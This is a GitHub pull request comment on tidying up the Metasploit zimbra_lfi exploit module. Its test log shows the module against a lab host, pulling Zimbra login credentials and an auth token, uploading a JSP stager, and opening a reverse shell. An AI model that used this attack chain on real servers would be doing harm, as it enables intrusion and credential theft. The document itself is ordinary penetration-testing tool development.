Clean zimbra_lfi

Hi @Mekanismen 

This pull request tries to clean https://github.com/rapid7/metasploit-framework/pull/2774. Please feel free to check / ask / discuss / test everything! Once you feel comfortable with the changes, please land into your repo and the original pull request will be automatically updated and hopefully ready to go!

Test after changes:

```
msf exploit(zimbra_lfi) > set rhost 192.168.172.139
rhost => 192.168.172.139
msf exploit(zimbra_lfi) > check
[*] The target appears to be vulnerable.
msf exploit(zimbra_lfi) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.139:7071 - Getting login credentials...
[+] 192.168.172.139:7071 - Got login credentials!
[*] 192.168.172.139:7071 - Getting auth token...
[+] 192.168.172.139:7071 - Got auth token!
[*] 192.168.172.139:7071 - Uploading payload
[*] 192.168.172.139:7071 - Uploading jsp stager
[*] 192.168.172.139:7071 - Executing payload on /downloads/fQugCgqi.jsp
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.139:60094) at 2013-12-18 15:46:19 -0600
[+] Deleted ../jetty/webapps/zimbra/downloads/fQugCgqi.jsp
[+] Deleted ../jetty/webapps/zimbra/downloads/YFapDhHioVX

3476931905
CnmZOGRLtKfQLaOdCOqFjFspxZpAshTn
QgpGzaSyzVWCgksDJOisDuRowHcGdgIW
kTSUcSFhJrqwvAMxYftExxTsGQXHyDZF
id
uid=1001(zimbra) gid=1001(zimbra) groups=1001(zimbra),0(root)
^C
```